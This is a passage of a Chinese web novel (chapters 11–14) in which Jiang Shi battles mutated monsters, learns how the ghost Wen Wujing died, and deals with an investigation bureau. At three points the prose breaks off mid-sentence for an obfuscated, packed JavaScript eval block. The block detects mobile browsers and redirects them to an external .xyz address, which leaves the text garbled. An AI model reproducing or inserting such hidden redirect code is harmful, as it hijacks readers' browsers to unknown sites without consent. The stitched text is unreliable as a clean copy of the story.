“砰!”窗户碎裂,江时踩着满地玻璃冲向文芜菁,拉住她的小臂往旁边一躲。 下一瞬间,尖锐锋利的骨刺和细长布满尖刺的血肉长鞭几乎是擦着两人过去,重重地拍在旁边墙上敲落了一层墙灰。 江时面色凝重地看着终于找了上来的两个异变。 啧,真能坏事。 11. 大招 两个摆脱人类躯体束缚的异变怪物,江时脑残了才和他们玩命,扭头把文芜菁往后面一推,朝追出来的姜鹤吼了一句:“带她躲进教室!” 姜鹤好歹没掉链子,拉起他姐就逃进了刚才用来办仪式的教室,还不忘朝江时喊道:“你也快进来!” 只要没瞎都能看出来江时纯属强撑,一会儿的功夫身上又添了好几处伤口。 江时用他不知藏在哪里的撬棍捅了触手怪物中央的大眼珠子一棍,又险险避开朝他抽过来的血肉刺鞭和身后的锋利骨刺。 两个异变一下没收住力,鞭子和骨刺缠在了一起,江时趁机就地一滚溜了。 等到江时进了教室,姜鹤立马关上门反锁,外面很快传来怪物的嘶吼和破门声。 看起来这门和墙还能撑一会儿,门缝下钻进来的几根细长血肉触手被江时第一时间踩断,外面发出几声痛苦的咆哮,不再试图钻进来,转而一心破门。 “你们是谁,想干什么!”教室里除了他们,还有满地陷入昏迷的邪*徒和不知道打算做些什么的叶其海和杜清清。 “我还想问问你们!”姜鹤实在忍不住了,上去就揪着叶其海的衣领给了他两拳,“你们对我姐做了什么!” 叶其海反应过来后轻松一个反扭就将姜鹤制服在地,勃然大怒道:“你想死是吧?” 在他的拳头要落在姜鹤身上之前,江时及时一脚把他踹飞出去,视线扫过倒了一地的教众:“说说,你们究竟想干嘛?” 叶其海和杜清清对视一眼,显然都不打算开口。 江时也懒得和他们废话,抽出撬棍往旁边的课桌上一抽,直接将整块的木板抽成两截:“不说我就把你们丢出去。” 杜清清死死盯着他开口:“你知道我是谁吗,要是我死在这里,信不信你的下场会比我惨千百倍!” 江时点点头:“知道,就是没想到叶家和杜家居然会和邪*勾结。” 两人闻言脸色一白,对方知道他们的底细,看来威逼利诱行不通了。 不过他们显然是打不过江时的,而且江时说要拿他们喂外面异变的时候表情完全不像是在开玩笑。 先保住命再说,两人对视一眼达成一致。 “我们只是发现她和这群邪*成员有联系,想劝她改邪归正,顺便收集证据报警,有问题吗?”叶其海说得理直气壮。 杜清清也一脸义愤填膺:“是啊,我们虽然用了点儿不太合规的小手段放倒这些人,但我们总不能和他们硬碰硬吧?你们要是不信可以问她!” “……”在两人隐隐带着胁迫的目光下,文芜菁抿着唇点点头。 “这样啊,”江时表情似笑非笑,“你们当我傻子吗?既然你们都是替天行道,为什么还要杀了她灭口呢?” 这就纯属倒果为因了,文芜菁本人亲口确定有不共戴天之仇,再加上姜鹤那边那张照片,这两人绝对和文芜菁的死脱不开关系。 当然,最重要的是江时已经闻到了,虽然非常淡,可是完成仪式从教室走出来的文芜菁身上已经带上了那些接触过晶石的人特有的味道,那颗被他们借出用于仪式的黄水晶绝对有问题! 江时突然的发言让两人一时反应不及,居然愣了愣。 叶其海勉强地笑了笑:“你在说什么,什么灭口啊,我们明明什么都没做啊。” “就是啊,要不是外面来了怪物,她现在回宿舍了好不好。”杜清清也赶忙帮腔。 “应该不止这样吧,”江时思考了一下,文芜菁本来就没什么求生欲望,能让她死后失忆还不忘的仇,远不止杀身一条,“要是我没猜错,为了以防万一,你们是不是打算把她的家人也都一起灭口?” 这操作起来并不难,毕竟听文芜菁话里的意思,她父母板上钉钉是那个组织的成员,只要把她背刺的消息透露给那些教众,肯定会有人主动出手让他们一家人闭嘴。 文芜菁猛地看向他们,毫无情绪波动的脸上终于出现愤怒和杀意。 被说中的叶其海和杜清清第一时间矢口否认:“开什么玩笑,说灭口就灭口,你当我们是什么人,□□还是杀人犯啊,!” 江时刚还想说些什么,教室的门和墙终于撑不住了,“轰”地一声被彻底撞得粉碎。 两个异变毫不犹豫地就冲向了江时。 “跟着你姐跑!”拉满对面仇恨值的江时灵巧地翻过一排排课桌,成功溜了圈怪物后从墙上被破开的大洞逃了出去引开他们。 他总不能指望几个记忆产物或者姜鹤来对付这两个异变怪物,只能寄希望于姜鹤能跟着他姐看到当年究竟发生了什么。 叶其海和杜清清见势不妙赶紧溜了。 不知道是不是愤怒加持的缘故,而文芜菁动作快得出奇,在姜鹤拉住她之前就追了上去,接着听到江时的话姜鹤也赶紧跟着他们的方向跑。 在两只异变的追杀下,江时没空管他们往哪儿跑了,只一味地把他们吸引得远一些。 “呼……”暂时摆脱了他们,江时一手扶墙,另一只手撑着膝盖喘气。 江时从口袋里掏出了一小捆黑色丝线和一只鹅黄色蝴蝶结,犹豫了一会儿还是塞回了口袋里。 他是真的很不喜欢用这招…… 江时朝着自己身后的阴影伸出手,那些阴影流水般吞没了他的手。 接着他满脸纠结地从阴影中抽出了那根用来殴打异变的撬棍,比划了两下后,果断把撬棍丢了回去,翻出了一把军刺。 这玩意儿当然不是真货,携带管制刀具是违法的,这是他中二期的时候言扉给他做的模型百分百纯骨质材料,在普通人手里用全力也就戳出一个破皮流血的小坑。 但是江时不是普通人,也不打算真的把自己捅出个对穿。 他毫不犹豫地双手握住刺柄部分,对准自己的心脏猛力一刺—— 随着血液顺着军刺上的血槽流出,昏暗无光的楼梯间隐约浮现出缕缕深红。 深红在一片黑暗中不断流动着,像是从空中飘落的红绸,又像是自枝头凋零的花瓣,漂亮又诡谲,散发着隐约的危险气息。 两只异变终于追上江时,但下一秒,血肉自整齐的断口喷涌,白骨发出清脆的断裂声。 他们被深红所接触的部分居然直接消失了! 试图重新长出消失的部分却失败的两只异变终于意识到了什么,从狂暴的杀意和饥饿中找回了一丝理智,警惕又恐惧地向后退去。 这怪物究竟是什么东西! 江时面色惨白,却还是惋惜地“啧”了一声,不过这一下大概让他们身体四分之一都消失了,不算亏。 唯一的问题是,他自己也没好到哪儿去。 他忍着疼痛拔出了军刺,血液却没有从伤口飚出来,反而很快止住了。 因为刺的时候角度不对,江时还不小心弄断了自己一根骨头,但现在不管是被刺伤的心脏皮肉还是断裂的骨头,都在肉眼可见地修复。 这种恐怖的自我修复速度,显然不应该是正常人类该有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664969|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 断骨移回原位时摩擦着附近的血肉,发出令人头皮发麻的声音,江时却一声不吭盯着他们,身边深红范围逐渐扩大,但颜色却也随之变浅。 两个异变犹豫了许久后,恨恨地离开了。 强撑半天的江时疼得抽了口气,靠着墙滑坐在地,幸好是怂了,但凡他们头铁点儿等到这些深红消失,到时候随便一根手指都能弄死他。 他尽力了,希望姜鹤能有点用吧。 另一边,被他寄予厚望的姜鹤险些把老命跑才没被甩下。 文芜菁直直地盯着前面两人:“你们骗我?” “种子”已经在那些人身上埋下了,杜清清懒得再哄她:“骗你又怎么样,你爸妈是为了救你加入那群疯子,和我有什么关系?我就乐意看你全家被那群疯子杀光怎么着?背刺那群疯子、害死你全家的都是你自己,要是真愧疚就早点去死啊!” 确定怪物没有跟上来,叶其海神情厌恶地瞥了文芜菁一眼:“和她废话什么。” 他和杜清清都没留下什么实质性的证据,就算文芜菁去报警,叶家和杜家养的律师团队也不是摆设,他们完全能靠之前那套说辞把自己摘得清清白白。 姜鹤本想说些什么,但显然太低估他姐了。 得知自己被骗,这两个人还打算对她的家人下手,文芜菁直接从书包里抽出了一把匕首朝对面捅了过去,站得靠她更近些的叶其海反应极快地躲开,只被她刺中了手臂。 “去死!”希望破灭的文芜菁双目赤红,手中的匕首毫不犹豫朝他们刺去。 在文芜菁看来,是她的出生才害父母误入歧途,这原本是她想在今晚自我了断用的,但杜清清的话刺激到了她本就岌岌可危的精神状态,整个人顿时崩溃了。 只要他们死在这里,那些人就不会知道她背刺的事,爸妈和弟弟就不会有事! 虽然叶其海和杜清清有两个人,但文芜菁手里有刀,再加上两人都不想受伤鸡贼得很,试图让对方挡着自己跑。 两人被追着砍了好一会儿才不得不咬着牙联手。 姜鹤半天没找到帮忙的机会,一抬眼看见杜清清正要从后面偷袭,想也没想就扑了过去:“姐!小心!” 结果下一秒就被杜清清一个鞭腿踢飞了。 接着杜清清就一个锁喉卡住了文芜菁的脖子,突如其来的呼吸不畅让她下手偏了,握着匕首的手被叶其海抓住想强行抢过去。 “……”因为窒息逐渐脱力的文芜菁视野模糊起来,眼前只剩下那颗被叶其海戴在脖子上的那颗黑色宝石,于是她用最后的力气,顺着叶其海抢夺匕首的力道一送。 刀锋险险擦过了叶其海的锁骨后被他抢走,同时也割断了他脖子上的项链,不过情况太危急,三人都没有注意到。 杜清清本来就比文芜菁要矮一些,视野受阻只看见叶其海成功夺刀就松了手。 文芜菁猛地咳嗽了好几声,但眼前还是一片模糊,大概估计了个方向就扭头踉跄着朝楼梯逃去,顺路还拉了刚爬起来的姜鹤一把。 “不追吗?”杜清清皱眉看向叶其海。 “追什么追,”叶其海黑着脸捂着自己的伤口,“难道真的在这儿动手杀了她?” 反正她活不过这星期,没必要给自己惹麻烦。 杜清清想了想也觉得没必要,扭头却发现了不对:“叶其海,你戴脖子上的感染源呢?” 叶其海下意识伸手,却只摸到自己空荡荡的脖颈。 感染源呢? 12. 离开 四周宛如流动的红变浅消失,江时被贯穿的心口也变得完好无损。 “嘶——”江时试探着起身,却险些没站稳摔倒。 还是疼。 所以他才不想用这招,现在就连姜鹤那个战五渣都能锤他。 江时缓了好一会儿,刚想再次尝试起身就听见有人过来了。 啧,不会这么背吧。 他下意识想掏家伙,但下一秒眼前一黑差点直接晕过去,条件反射伸手扶住了墙。 “江时!”姜鹤刚从楼上下来,就看见了面无血色靠在墙角的江时,差点被吓死,“你没事吧?” “小问题。”江时翻出口袋里常备的言扉手作巧克力坚果棒,拆开后两口咽了下去,看向旁边的文芜菁,“你怎么样?” 叶其海和杜清清原本都没打算立刻杀了文芜菁的。 但之后发生的事,因为两人死后变成的异变打断,他又不知道该怎么把这块记忆碎片带回给文学姐或者联系文学姐自己过来回收,只能多从记忆里多找点儿线索了。 “我没事。”文芜菁犹豫地往楼上看了一眼。 江时点点头又看向姜鹤:“刚才发生了什么?” 在江时极具压迫感的目光下,姜鹤老老实实把刚才的事原原本本地说了一遍。 文芜菁对此没有什么反应,低着头思考着什么,手碰到裤子口袋的时候感觉到了异物,于是伸手从里面拿出了一条断开的项链,上面还镶嵌着一枚鸽子蛋大小的黑色宝石。 她愣了愣,这东西似乎是叶其海身上戴的那条…… “你要干什么!”事关说好的晶石,江时时刻警惕文芜菁的一举一动。 “哦,我打算把这个吞下去然后从那边窗户跳下去。”文芜菁似乎完全不觉得自己说的话有多恐怖,“这样的话明天我的尸体被发现,尸检的时候他的项链就会被发现,而且我衣服上也有他的血能证明我们发生过争执。” 显然她打算先下手为强,先给叶其海和杜清清扣个黑锅再说。 能不能成功嫁祸是一回事,但只要把事情闹大的话,说不定警方调查时就会顺藤摸瓜发现爸妈的事,就算下半辈子都在监狱过也比落在那些人手里要好。 姜鹤彻底傻眼了,姐姐的真实性格和他想象的差别有点儿大啊。 江时倒是没什么反应,甚至觉得她说得挺有道理。 “很有道理,不过你先等等。” “什么?”文芜菁闻言停住了动作,姜鹤也将求救的目光投向江时。 “不如你先告诉我们,你和他们究竟是什么情况,到底为什么要帮他们办事,到时候警察发现了我们还能帮你作证提供线索,说不定还能把那个邪*组织一起炸了。”江时一本正经地胡说八道。 “……”文芜菁被他说动了。 另一边,调查局行动组的成员们在收集完线索后,又凭借菲菲的能力离开了那块记忆碎片。 不以拆掉异变领域为目的发动能力,菲菲的消耗比刚才小得多。 这次他们又出现在了一栋居民楼下,除他们外还有两个人。 “江时,姜鹤?!”秦青一眼认出了两人,“你们没事吧?” 看到江时的那一瞬间,所有人都是一瞬恍惚—— 之前江时不是一直和他们一起吗?哦对,之后他们不小心走散了来着。 “你瞎啊!”孙顾看见江时一身血,气得给了秦青脑袋一下,“江时你还能动不?不行的话我背你,秦青,你来背这货!” 说着他就要把背上的昏迷的赵启丢给秦青,秦青虽然看着也人高马大的,其实是个死宅文青,让他背江时把人摔了怎么办。 江时婉拒了舍友的好意:“不用,伤的不重。” 心口的致命伤已经差不多长好了,至于其他轻伤,按照他的经验,就算放着不管最晚明天也能好。 “姜鹤,姜鹤?”沈邱见姜鹤一直一脸恍惚,担心地叫了他几声。 “啊!啊?”姜鹤像是被吓了一跳,回过神来勉强地笑了笑,“我没事……” 刚才他们从回忆中的文芜菁那里得到她家里变故的始末,而真相对姜鹤的冲击太大。 江时不喜欢也不擅长安慰人,干脆看向菲菲:“请问,如果发现一起很多年前的,还和那些异变相关的案件的隐情,你们可以重新调查吗?” 文学姐只想要自己死亡真相,但因那些人受害的其他人也需要得到个交代。 这件事和异变有关,江时就干脆问他们能不能管了,他只喜欢找乐子,并不爱cos侦探,更没有做正义使者的想法。 菲菲反应很快:“你是说十年前发生在S大教学楼的那起案件?” 事实上,当年发现被吊起的死者是死于辐射导致的器官破裂,尸体内还没找到感染源的时候,调查局就直接戒严了整个S大。 一是异变到处跑对普通人太危险,二就是如果她还保留有神志的话,甚至能作为证人协助调查。 因为案发现场用红颜料画出了各种诡异符号,还有好几张茧的宣传单,几乎是板上钉钉和他们有关。 但同时调查组发现还有两人,也就是叶其海和杜清清当晚也进入了案发的教学楼,虽然两人矢口否认,调查组还是谨慎地将他们也列为嫌疑人。 但没过几天两名嫌疑人居然神不知鬼不觉地惨死在案发现场,当时负责现场调查和保护的人都受到了严重处分。 之后叶家和杜家一直施压再加上找到了不少有力证据,这起案件最终以非官方异能者利用精神系异能杀人结案,调查局继续大力通缉茧的相关人员。 再过几年,就是叶其峰加入执行部,任职第一起案件就是误打误撞抓获了茧的二把手,因此晋升成为一组副组长,没过两年他成了组长,联合其他组申请彻底剿灭茧。 就在菲菲犹豫该怎么和他解释的时候,江时从上衣口袋翻出了一颗玻璃珠大小的黄水晶:“这个是叶其海和杜清清交给文芜菁的东西。” 毕竟最有效的证据还是文学姐本人的记忆,这玩意儿他就是想试试看能不能带出来,没想到成功了。 菲菲双目睁大死死盯着那颗黄色水晶,不受控制地脱口而出:“蚁后?” 怎么可能,他们怎么可能和“蚁后”有关? 没想到调查局的人真的认识这东西,江时毫不犹豫将东西交给了她,菲菲立刻掏出仪器扫描。 至于“蚁后”究竟是什么,他们不说,江时也没兴趣问。 “对了,当年第一个受害人是他姐姐,”江时指了指旁边的姜鹤。 菲菲又看向姜鹤:“你姐姐?” 终于得知真相的姜鹤心情很复杂,但他还是希望当初的真相能公之于众。 于是竹筒倒豆子般把所有事告诉了他们,包括之前文芜菁告诉他们的事和自己拍电影的真实原因,甚至连那张寄给他妈妈的照片也给了他们。 “如果我没猜错的话,这里应该是你父亲和姐姐生前住的地方,”菲菲叹了口气,指了指后面的居民楼,“你要不要上去看看?” 因为保密条例的存在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664970|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,菲菲没法直接告诉姜鹤,当年的茧有异能者存在,就算他的父母在那个组织里为虎作伥,也并非一定出自本意。 当年事件后,调查局发现有部分教众被深度精神控制,在调查局解除他们的催眠后,其中不少人患上了严重的心理疾病,更有人因为无法面对自己的所作所为而自杀。 刚刚得知父母居然是邪*成员的姜鹤犹豫了好一会儿,还是点了点头,被几个调查局成员带着上去了。 安静待着的沈邱被顾蕊突然捅了一下,无奈地替她发问:“菲菲组长,请问你们打算怎么对待文学姐呢?” 菲菲回答:“她没有伤人记录,也没有攻击意图,应该会被收容在调查局内限制活动范围。” 而且文芜菁还能作为当年案件的证人,要是能顺藤摸瓜找到更多证据,说不定就能成功申请到对叶家的调查令。 江时略诧异,他几次碰到都是斩草除根的,还以为他们见异变就杀呢,都不敢随便让小苏阿毛出来了,但看起来好像不是这样? 不过他也没法问,毕竟他知道他们怎么对待异变的方式也是个秘密。 菲菲:“我先带你们离开这里,不过需要一会儿时间。” “哇!菲菲组长又要用异能了吗?”孙顾和秦青都一脸兴奋,除了一开始的惊吓,他们一路上并没有遇到什么实质性危险,现在已经完全不害怕了。 之前菲菲放大的时候不能看,但是上次离开体育馆时他们都看到了她使用能力的样子,第三只眼超帅的好吗! 江时闻言也好奇起来,他只远远见过几次调查局的人对付低级异变,基本都是用的各种冷热武器。 原来他们也有超能力的吗? 菲菲笑着说:“我打算把这里的主人吸引过来打个商量。” 等级差距太大,事实证明面对A+级的时候她的异能几乎没有作用,对面甚至真身都没出现就能阻止她。但只是将他们驱赶,而非直接弄死也意味着对方似乎并不想伤害他们,所以她想试试能不能和异变谈谈。 其实作为异能者的行动组成员们倒是可以强行离开,但现在还有普通人。 普通人想要离开领域,要么是异变主动放他们离开,要么就杀了领域的主人让领域崩溃。 所有人都闭上眼后,菲菲再度使用能力,莹白色光芒绽开,裂缝逐渐开始蔓延。 专心使用能力的菲菲并没有发现,江时很快就又睁开了眼睛,那些光芒似乎对他毫无影响。 看着她额心眼球大小的乳白色宝石,江时表情淡淡的,在那双浅色的眼眸深处,甚至能看出几分不知缘由的怜悯和悲哀。 裂缝的蔓延很快又被阻止,红裙异变的头颅无力垂落着自裂缝中飘了出来。 文芜菁伸手托起自己的头看向菲菲,慢吞吞地开口:“你们有点儿过分了。”就算她之前没计较,但也不代表这些人能一再挑衅。 “文小姐你好,”看到她出现菲菲才停下了能力,惨白着脸咬牙给自己再打了支药剂,“很抱歉用这种方式吸引你过来,不过我们并没有恶意,只是想和你谈谈。” 文芜菁连活着都没兴趣,又怎么会想和他们谈,但她闻到了江时的味道,这才肯睁开眼。 她的眼睛是纯黑色的,上面布满裂痕,因此根本看不出她究竟在看哪个方向。 江时趁着没人注意他,无声地做着口型:“交易完成,找个机会单独说。” 她的怒气这才消散,勉强有了些兴趣,闭上眼“看”向菲菲。 “你想谈什么?” 13. 两眼一黑 菲菲收回能力后,大家都睁开了眼。 文芜菁愿意交流,这让所有人都松了口气,一个A+级异变就算是没孵化完全的残缺体,想弄死他们也易如反掌。 “文小姐,首先感谢您并没有想伤害我们,对于之前伤害您的眷属破坏您领域的行为,我们深感抱歉。”菲菲果断先诚恳道歉。 “随便吧。”不过文芜菁并不吃这套,“说重点。” “我靠,姜鹤他姐是这种类型的啊,这俩人完全不像啊。”孙顾和秦青目瞪口呆。 “可能是变异了吧。”江时深有同感,毕竟目前他真没看出这对姐弟从外貌到性格,究竟有哪点相似。 遗传真是门深奥的学问。 “我们希望您能够解除异变领域,放大家出去,作为交换,我们会查清当年的真相,为您找出伤害您和您家人的罪魁祸首,他们受到应有的惩罚。”菲菲认真道。 文芜菁并不在意,毕竟她压根没多少生前的记忆:“有两个很麻烦的家伙被我关在这里,如果解除的话他们也会脱困。” 菲菲:“这个您可以放心,我们已经做好了充足准备,学校内人员也都疏散了。” 她还是很相信他们老大的实力的,而且“白泽”说支援已经到了。 听到人员已经疏散,江时才微不可见地点点头,众人还没来得及反应,下一瞬间四周就分析崩离,。 其他人包括还想说些什么的菲菲都立刻失去了意识,只剩江时和文芜菁一站一飘,周围记忆碎片发出越来越弱的微光逐渐消失。 文芜菁:“你知道我是怎么死的了吗?” 这个问题有点儿诡异,江时答道:“我找到了你那块记忆碎片,他们拿走注入了自己的记忆用它来躲避你。” 江时指了指自己的脑袋:“你是打算从我这里获取真相,还是待会儿解除领域从他们那里拿回记忆碎片?提醒一下,那两个家伙已经被我打得半残了。” 如果那块记忆还能够回收,那她完全可以到时候直接从杜清清身上取回自己的记忆碎片。 文芜菁想了想:“还是你和我先说吧。”她这些年太虚弱了,只能勉强用这个几乎已经失去控制的领域困住他们。 而且被其他人记忆污染过的碎片,她也不一定能成功收回,还是两手准备比较靠谱,先从江时这里拿到答案,待会儿她再试试能不能取回碎片。 江时并无异议:“你的能力应该和记忆有关,能直接读取我的记忆吗?” 太长了,他懒得说。 这个提议对文芜菁百利而无一害,但她有些讶异:“可以是可以,不过你不怕我趁机对你的脑子做些什么?” 江时笑了笑:“你可以试试。” 虽然江时肯定打不过她现在还很虚弱,但文芜菁不能确定这个奇奇怪怪的家伙是不是真的还有什么后手。 她只是想拿回死因然后早点瞑目,没必要节外生枝。 无力垂落的头颅被不知何处吹来的风托起,红色裙摆也随风旋转,像是一簇火焰,那双纯黑的眼睛布满裂痕,是她支离破碎记忆的写照。 而江时毫无畏惧地同她对视,脑海中被动回忆起了之前在旧教学楼中的所见所闻,包括回忆中文芜菁的自述,都被同步给了对面的红衣异变。 不到半秒的时间记忆读取就结束了,她重新闭上眼:“所以,我是因为吞了这东西才死的?” 她伸手点了点自己的心口。 “没错。”江时点点头,“至于你的颈椎,可能是死后才断的。” 江时记得有篇法医案例有说过,在尸僵期被吊起的尸体有几率发生颈椎断裂。 文芜菁吞下项链当即七窍流血没了气息,和江时遇到的情况都不一样,他猜测可能和那颗奇怪的黄水晶有关。 当时他们眼看着文芜菁突然断气,还没来得及做出反应,就听见后面发现东西不见的叶其海和杜清清追上来的脚步声。 姜鹤还来不及从冲击中回过神,就被江时从地上拖起来塞进了旁边扫帚间。 这货实在太废,江时干脆把他丢在原地,自己跟了上去。 现实中大概也是这样发展,文芜菁不放心溜回来偷听然后和两人发生争执,接着逃走吞下项链当场死亡,而追上来的叶其海和杜清清发现了她的衣服上留下了他们的血迹。 但这时那群人已经自己醒来离开,文芜菁带的袍子又被她自己撕了,他们只能从离这里不远的戏剧社道具室找了件尺码合适的衣服给她换上。 事出突然,他们害怕尸体被发现后会牵连到自己,慌乱之下把尸体吊了起来,并在现场画了各种鬼画符伪装成邪*仪式杀人。 江时还发现,他们似乎并不知道这东西能感染人类尸体,否则这两个人绝对不会将晶石留在文芜菁体内。 那他们戴着这玩意儿做什么,江时有些困惑,难不成想变成和菲菲他们那样的“异能者”? “这样啊……”红衣异变嘶哑的嗓音里也听不出她对这个结果是否满意,“按约定,东西给你。” 她直接伸手插进了自己心口,像是感觉不到血肉撕裂外翻的疼痛似的,将那颗鸽子蛋大小的黑色宝石丢给了江时。 江时接过后仔细观察了好一会儿,确认这东西并不会对碰到它的人类产生伤害。 虽然他和言扉也都能做到,但要是有其他简单还不让人受罪的方法,江时还是很感兴趣的。 “你不等等吗?他们就算重启当年的调查,短时间内也没法出结果。”江时把东西塞进口袋里,他还以为文芜菁复仇执念那么深会想等一个结果呢。 失去感染源后,她开始以一种极其缓慢的速度逐渐消散,不过要比江时之前见过的都要慢得多,看起来还能撑好一阵子。 “不感兴趣。”文芜菁平静极了。 江时想了想又说:“我那里还有些这样的石头,用来维持你不消散足够了,只是比较劣质,你可能会变得很弱。” “不用,我只是不想一无所知地当了这么多年不人不鬼的怪物。”她叹了口气,“知道我是怎么死的,为什么会变成这样被困在这里,已经够了。” 她的父母为了治愈患有遗传性血液病的女儿,甚至愿意帮助那些人做些见不得人的勾当,最终却落得个家破人亡的下场。 最讽刺的是,他们不知出自什么目的生出的第二个孩子,居然也患有同样的病症。 从其他人的角度来看,她和她的家人都不过是为了一己私利害人害己,落得这样的下场也是罪有应得而已。 她的父母已经因此付出了代价,该轮到她了。 或许是得知父母为了她和给邪*卖命的那天,又或许是在尚且年幼时某次痛不欲生的治疗后,她其实早就不想活了。 即使失去记忆变成异变,那股深入灵魂的疲惫和沉重的愧疚自厌却比仇恨还要浓烈。 “……”江时沉默了许久,“那祝你安息?” “谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664971|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢。” “对了,你能删除记忆吗?”江时突然想起了什么。 差点忘了,那两个异变还看见他自残用能力了来着,江时不想让人知道自己的异常。 文芜菁点头:“可以,不过没了那个石头,我最多删掉最近半天内的记忆,对方还得是虚弱状态才行。” 那不是巧了,两个条件都符合。 “砰——” 伴随着一声宛如玻璃碎裂的清脆声响,江时下一秒险些没站稳,他低头才发现,自己居然站在一片废墟上,环视四周都是全副武装严阵以待的行动组成员。 看来他们回到现实了,脚下这座废墟,大概是旧教学楼,呃,的遗址?此时天已经蒙蒙亮了,看来他们在里面待了一整晚? 顾蕊和沈邱背着第五苏苏,秦青和孙顾背着赵启,他们一下没反应过来,脚下一空眼看着要摔倒,旁边的行动组成员眼疾手快地扶住了他们。 还没来得及说什么,半空传来两道嘶吼,江时扭头发现叶其海和杜清清变成的异变因为文芜菁解除领域,也被强行踢了出来。 短暂的愣怔过后,两个只剩三分之二躯体的异变反应过来自己终于脱离囚困,第一反应就是跑路,但看到周围都是武装后,杜清清森白的手骨立刻伸向自己被头发紧紧裹住的头颅。 “咔!”不知从哪儿出现的红裙异变从她身后伸手,直接撕开那些蠕动的黑发从她的眼睛里挖出了一块浑浊的碎片,原本纯粹的黑色中混入了淡红和浅蓝,表面透着一层雾蒙蒙的灰。 她睁开眼对着自己布满裂缝的眼睛比了比,发现确实已经放不回去后,嫌弃地攥在了手里,接着伸手一抹,按照约定抹掉了这两个家伙半天内的记忆。 菲菲扭头就看向站在最前面的那人:“黎老大,红衣服的是证人,先干另外两个!” “OK!”黎钺踩地跃起一个不太科学的高度,一个下劈后借力继续上跃起再一踢。 那恐怖的力道让两只异变直接砸穿了废墟,周围过分浓郁的活人气息让两只身受重伤的虚弱异变失去理智,毫不犹豫朝旁边的人咬去,试图用活人的血肉恢复自己的体力。 一个防御系的异能者立即支起透明屏障,将身后这群刚救出来的普通人保护了起来。 刚落地的黎钺刚从背后摸出捕杀网,这俩货就窜了出去。 虽然A+异变表示愿意合作,但他们也不敢放松警惕,黎钺带着一半的人抓捕那两个,其他人则时刻注意飘在半空的红色身影。 十多个装备精良的行动组成员都是纯粹攻击系,江时肉眼能观察到的就有金属、火焰和念力异能,再加上火力覆盖,场面堪称单方面碾压。 秦青等人被这群星闪耀时刻震惊得目瞪口呆,江时看着都觉得下巴酸。 文芜菁甚至飘到离江时比较近的位置感慨了一句:“幸好我没干什么伤天害理的事。” 江时看着面前灿烂又恐怖的场面,心有余悸地点头表示同意。 三十分钟后,他们终于成功把两只异变绑了起来丢到了旁边车上。 “白泽”没有给出处理意见时,他们对待异变一般都是暂时扣押,回头再带回调查局里,让异变管理部裁定该怎么对待,经过“白泽”审核后执行。 清理完现场后,黎钺轻快地松了口气,还没来得及和部下说什么,抬眼又看见一个熟悉的身影。 江时抬手和他打了个招呼:“哟!” 黎钺两眼一黑。 14. 被发现了? “你能不能给我解释一下?”正在行驶的车上,坐在副驾驶的黎钺头疼地回身看向后排的祖宗,“为什么你会大半夜出现在那里?” 他没记错的话,是不是昨天晚上他才在异变出现现场见过江时? 要是其他人比如江瞬,就算他天天在异变现场见到对方,也只会觉得是对方太倒霉了。 但要是江时,黎钺觉得自己不得不怀疑一下江时的动机。 江时非常无辜也非常理直气壮:“我要赚钱吃饭啊,打个零工一晚上三百,要是你干不干?” 这辆车里除了司机和黎钺两个调查局的人,就是他们这群被救出来的无辜大学生,第五苏苏和赵启因为伤势比较重上的另一辆医疗车。 “是我介绍江时来给姜鹤学长打个零工的。”秦青赶忙道,“江时本来今晚没打算出门的,非常抱歉。” 孙顾也帮腔:“我们都能证明!江时上个星期又被打工的地方开除了,他平时对我们都很照顾的,我们就想着这次是个好机会报答他,没想到会变成这样……” 后面的沈邱也解释:“是因为之前我们的场务意外受伤了,江时确实是意外碰上这件事。” “我也能作证。”姜鹤用力点头。 刚吃完调查局给的药,现在还没法说话的顾蕊也默默举手表示情况确实是这样。 黎钺语塞了好一会儿无奈道:“既然这样,那江时你下次小心点儿,别老到处乱跑。” 他还是觉得不太对劲,巧合这种事放在江时身上属实不太正常。 江时看起来非常乖巧无害地点了点头。 这次一次性碰到了三个高等级的异变,其中还有A+。 虽然只是残缺的未孵化体,但她居然会无声息地出现在一所足有数万人的大学中。但凡攻击欲望强烈些,整座S大都能被她杀空。 N市分局这次无论如何都逃不掉一个监管不力的追责,光检讨就得写个几百份,总局甚至直接派了人来监督事件的调查。 江时他们被带到N市异常调查分局后,直接被送到了医疗部检查。 黎钺将他们交给穿着白大褂的医疗部成员,接了个通讯就急匆匆地去开会了。 检查是男女分开的,顾蕊被一位女性带走,而他们则是跟着一位三十岁上下的男性,他看起来非常和气:“先跟我过来做检查吧。” “请问我们要做什么检查?”江时有些好奇地问。 